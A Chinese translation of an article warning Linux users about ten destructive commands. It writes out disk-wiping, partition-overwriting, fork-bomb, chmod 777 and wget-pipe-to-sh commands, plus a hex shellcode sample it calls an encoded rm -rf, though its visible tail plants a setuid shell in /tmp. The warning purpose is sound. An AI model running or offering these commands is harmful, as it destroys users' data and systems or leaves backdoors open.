Linux中國

10 大可以摧毀你的 Linux 的命令

什麼是最危險的 Linux 命令

有人無數次問我這個問題,我一直避免回答,因為沒有一個明確的危險的 Linux 命令清單

你擁有的工具使你能夠控制和修改你的操作系統的每一個方面。我不是想嚇唬你,但如果你不熟悉這些命令和工具,你可以很容易地把你的系統摧毀。

想像一下家庭中的小孩子的情景。孩子有許多方法可以傷害自己。但這是否意味著不應允許孩子離開嬰兒床?那會對她的成長造成損害。

這就是父母設定界限和引導孩子的地方。不要靠近火堆,不要把手指戳到電源插座上……隨著孩子的成長和經驗的積累,她可以把爐子打開,在壁爐里生火,插上電源線。

同樣,如果你知道一些已知的風險命令,你可能會避免落入巨魔的陷阱,他們試圖欺騙你運行命令,擾亂你的系統。

當你積累了經驗,知道了這些命令和工具的含義和用法,用愚蠢和棘手的命令破壞你的系統的機會就會減少。

我的同事 Sreenath 收集了一些流行的危險 Linux 命令。讓我們看看它們是如何幹掉你的 Linux 系統的。

免責警告:如果你不清楚你在做什麼,請勿嘗試本文提及的這些命令,否則後果自負。

1、rm -rf /*

這個可能是在各種社交媒體上盤旋的最臭名昭著的命令。你會經常發現巨魔們在各種討論中提及這個。

rm 命令用來刪除文件/目錄。標誌 -r-f 表示遞歸地刪除指定目錄內的所有文件。現在,如果沒有 root 許可權,這個命令不會造成任何傷害。

運行 sudo rm -rf / 命令也不會產生任何問題,因為大多數發行版提供了一個故障安全選項。你需要指定 --no-preserve-root 才能實際運行它。

sudo rm -rf / --no-preserve-root

然而,一個更簡單的版本可以是這樣的:

sudo rm -rf /*

它將開始遞歸地刪除根目錄下的所有文件,在一段時間後,你的系統會凍結,並顯示「刪除文件錯誤」。一旦重新啟動,你將被送到 grub-rescue 提示符下。

2、覆蓋你的分區

如果你熟悉文件系統,你可能知道 /dev/sda 是什麼。它(通常)是你的磁碟驅動器分區。> 操作符用於將其前面的命令的輸出寫到所提供的指定位置。

一旦你運行任何命令並把它寫到 /dev/sda,比如說:

echo "Hello" > /dev/sda

這將用 Hello 字元串替換你的包含啟動系統所需的所有數據的分區。

3、把所有的東西都移到黑洞

每個 Linux 系統內都有一個黑洞。而這個黑洞就是 /dev/null

無論你把什麼東西扔進這個區域都會永遠丟失。而且,它在丟棄數據後會將寫入過程報告為成功,這是其破壞性的主要原因。

mv /home/user/* /dev/null

mv 命令 用來移動或重命名文件/目錄。在上面的命令中,你把家目錄內的所有文件都移到了黑洞中。雖然根系統沒有被破壞,但你所有的個人數據都會丟失。

4、格式化你的硬碟

mkfs 是一個命令行工具,用于格式化磁碟和分區。它是一個超級方便的工具,可以為安裝的操作系統創建分區。但同樣的命令也可以格式化你的硬碟。格式化你的驅動器意味著刪除系統啟動所需的所有文件。

mkfs.ext3 /dev/sda

這個命令完成了它的工作,而你最終得到了一個無法恢復的混亂的系統。

5、fork 炸彈

這個看起來很可愛的特殊字元和符號的隨機組合,足以通過耗盡系統資源來凍結一個正在運行的系統。

:(){ :|:& };:

& - Shell 後台操作符。它通知 Shell 將命令放在後台。在這裡,它定義了一個叫做 : 的函數,它調用自己兩次,一次在前台,一次在後台。這個過程不斷地重複執行,直到系統凍結。

顧名思義,它自己分叉,最終成為一個連鎖炸彈,吃掉了所有的系統資源。你將被迫重啟系統,這並不像本列表中的其他命令那樣糟糕。

6、覆蓋重要的配置文件

雖然這本身不是一個命令,但它更像是一個預防性的東西。

如上所述,> 操作符是用來向文件寫入的。它丟棄文件中已經存在的東西,並將提供的新數據寫入文件中。

command > config_filename

現在,如果你將一些重要的配置文件作為寫數據的地方,它將被取代內容,留下一個損壞的系統。

7、用垃圾數據替換分區

/dev/random 是 Linux 中的一個命令,它可以創建垃圾數據。把它和 dd 命令 以及你的分區結合起來,你就得到了一個可以讓你的分區著火的燃燒彈。

dd if=/dev/random of=/dev/sda

dd 命令被用作一個低級別的複製工具。這裡,它從 /dev/random 中獲取隨機數據,並用這些垃圾替換 /dev/sda 分區。

一個類似的效果是通過以下方式獲得的:

cat /dev/urandom > filename

這裡,它從 /dev/urandom(LCTT 譯註:在 Linux 上,/dev/urandom 現在和 /dev/random 的等價的 )中獲取垃圾數據並填入一個文件。如果不使用 Ctrl + C 終止,該文件會佔據相當大的空間,這對低端系統來說可能是災難性的。

8、將你的系統暴露給所有人

在 Linux 中,所有東西都是文件,每個 文件都有一定的許可權

你可以用 ls -l 查看許可權。根文件系統是不允許其他沒有許可權的用戶訪問的。雖然這保證了系統的私密性和安全性,但你可以用一個命令顛覆這個系統。

chmod -R 777 /

上述命令將根分區上的所有文件暴露給所有人。這意味著每個使用該系統的人都有讀、寫和執行的許可權。這對你的系統是不利的。

9、下載並運行惡意的內容

你如何在 Linux 中安裝軟體?你可以使用官方的軟體包管理器或隨時可以使用的軟體包,如 Deb/RPM、Snap、Flatpak 等。

然而,有些軟體是沒有打包的,它們的開發者提供了下載和運行的 Shell 腳本。以 Homebrew 為例:

你下載一個 Shell 文件,然後以 root 身份運行它,在你的系統中安裝一個軟體。你看出問題了嗎?

雖然它對 Homebrew 這樣的官方軟體有效,但在你像下面這樣直接運行它之前,你應該仔細檢查你所下載的 Shell 腳本的內容:

wget http://malicious_source -O- | sh

這樣的命令會在你的系統中下載並運行惡意腳本,這可能會破壞你的系統的安全性。

10、偽裝的命令

在 Linux 終端中,有許多方法可以運行命令。其中一種方式是十六進位編碼的命令:

char esp[] __attribute__ ((section(「.text」))) /* e.s.p
release */
= 「xebx3ex5bx31xc0x50x54x5ax83xecx64x68」
「xffxffxffxffx68xdfxd0xdfxd9x68x8dx99」
「xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7」
「x56x04xf7x56x08xf7x56x0cx83xc4x74x56」
「x8dx73x08x56x53x54x59xb0x0bxcdx80x31」
「xc0x40xebxf9xe8xbdxffxffxffx2fx62x69」
「x6ex2fx73x68x00x2dx63x00」
「cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;」;

雖然它看起來很花哨,但這是 rm -rf 命令的一個編碼版本。它的效果與運行前面的命令相同。因此,在從互聯網上複製和粘貼這些花哨的命令時,要小心謹慎。

總結

pebkac

有一個著名的計算機術語 PEBKAC:「 問題存在於鍵盤和椅子之間 problem exists between keyboard and chair 」。

因為歸根結底,還是要靠用戶(你)來保證你不會因為盲目地運行任何危險的命令而破壞系統。

UNIX 的工作不是要阻止你搬起石頭砸你自己的腳。如果你選擇這樣做,那麼 UNIX 的工作就是以它所知道的最有效的方式將石頭砸到腳上。

而這句話同樣適用於 Linux。你可以完全控制你的操作系統。你選擇做什麼,完全取決於你。

我建議做這些事情以確保更安全的體驗。

  • 嘗試並理解你將要運行的命令。
  • 用 Timeshift 保持你的系統設置的備份
  • 用 DejaDup 保持個人數據(主目錄)的備份

正如我所說,沒有固定的危險 Linux 命令清單。還有很多可以添加到這個列表中,而且根本沒有盡頭。

我希望這能給你一些提示,告訴你為了保持 Linux 的安全,你不應該做什麼。如果你有建議,請在評論區告訴我。

via: https://itsfoss.com/dangerous-linux-commands/

作者:Abhishek Prakash 選題:lkxed 譯者:wxy 校對:wxy

本文由 LCTT 原創編譯,Linux中國 榮譽推出


本文轉載來自 Linux 中國: https://github.com/Linux-CN/archive

對這篇文章感覺如何?

太棒了
0
不錯
0
愛死了
0
不太好
0
感覺很糟
0
雨落清風。心向陽

    You may also like

    Leave a reply

    您的郵箱地址不會被公開。 必填項已用 * 標註

    此站點使用Akismet來減少垃圾評論。了解我們如何處理您的評論數據

    More in:Linux中國